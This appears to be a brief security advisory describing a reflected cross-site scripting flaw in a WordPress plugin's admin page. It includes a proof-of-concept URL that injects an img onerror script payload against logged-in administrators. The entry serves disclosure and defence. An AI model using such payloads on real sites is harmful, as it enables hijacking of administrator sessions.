Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below
https://example.com/wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img src onerror=alert(/XSS/)>